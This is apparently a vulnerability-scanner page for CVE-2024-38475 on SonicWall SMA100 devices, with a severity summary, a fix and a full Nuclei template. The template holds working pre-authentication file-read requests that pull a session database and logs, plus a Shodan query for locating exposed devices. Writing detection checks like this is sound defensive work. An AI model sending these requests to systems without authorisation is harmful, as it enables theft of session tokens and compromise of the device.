Sonicwall - Pre-Authentication Arbitrary File Read

Exploited in the wild. Listed by CISA on 2025-05-01; known to be used by ransomware.

criticalseverity

9.1CVSS score

100%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Improper escaping of output in mod_rewrite in Apache HTTP Server 2.4.59 and earlier allows an attacker to map URLs to filesystem locations that are permitted to be served by the server but are not intentionally/directly reachable by any URL, resulting in code execution or source code disclosure. Substitutions in server context that use a backreferences or variables as the first segment of the substitution are affected. Some unsafe RewiteRules will be broken by this change and the rewrite flag "UnsafePrefixStat" can be used to opt back in once ensuring the substitution is appropriately constrained.

Impact

Unauthenticated attackers can read arbitrary files from the SonicWall SMA100 filesystem including configuration files, logs, and sensitive data, potentially leading to further exploitation or complete system compromise.

Fix

Upgrade to the latest patched version of SonicWall SMA100 or apply vendor-provided security updates.

How to confirm it

Send: GET {{BaseURL}}/tmp/temp.db%3f.1.1.1.1a-1.css ; GET {{BaseURL}}/mnt/ram/var/log/httpd.log%3f.1.1.1.1a-1.css
Positive when: contains_all(body, "SQLite format","sessionId") and status_code == 200 OR contains_all(body, "mod_antiloris","[pid") and contains(content_type, "text/plain") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-38475 -u <target>

The full check

id: CVE-2024-38475

info:
  name: Sonicwall - Pre-Authentication Arbitrary File Read
  author: shaikhyaser
  severity: critical
  description: |
    Improper escaping of output in mod_rewrite in Apache HTTP Server 2.4.59 and earlier allows an attacker to map URLs to filesystem locations that are permitted to be served by the server but are not intentionally/directly reachable by any URL, resulting in code execution or source code disclosure. Substitutions in server context that use a backreferences or variables as the first segment of the substitution are affected.  Some unsafe RewiteRules will be broken by this change and the rewrite flag "UnsafePrefixStat" can be used to opt back in once ensuring the substitution is appropriately constrained.
  impact: |
    Unauthenticated attackers can read arbitrary files from the SonicWall SMA100 filesystem including configuration files, logs, and sensitive data, potentially leading to further exploitation or complete system compromise.
  remediation: |
    Upgrade to the latest patched version of SonicWall SMA100 or apply vendor-provided security updates.
  reference:
    - https://github.com/watchtowrlabs/watchTowr-vs-SonicWall-PreAuth-RCE-Chain/blob/main/watchTowr-vs-SonicWall-PreAuth-RCE-Chain.py
    - https://labs.watchtowr.com/sonicboom-from-stolen-tokens-to-remote-shells-sonicwall-sma100-cve-2023-44221-cve-2024-38475/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-38475
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2024-38475
    cwe-id: CWE-116
    epss-score: 0.99957
    epss-percentile: 0.99975
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"SonicWall" html:"SMA"
  tags: cve,cve2024,sonicwal,sma-100,lfi,kev,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/tmp/temp.db%3f.1.1.1.1a-1.css"
      - "{{BaseURL}}/mnt/ram/var/log/httpd.log%3f.1.1.1.1a-1.css"

    matchers-condition: or
    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "SQLite format","sessionId")'
          - 'status_code == 200'
        condition: and

      - type: dsl
        dsl:
          - 'contains_all(body, "mod_antiloris","[pid")'
          - 'contains(content_type, "text/plain")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from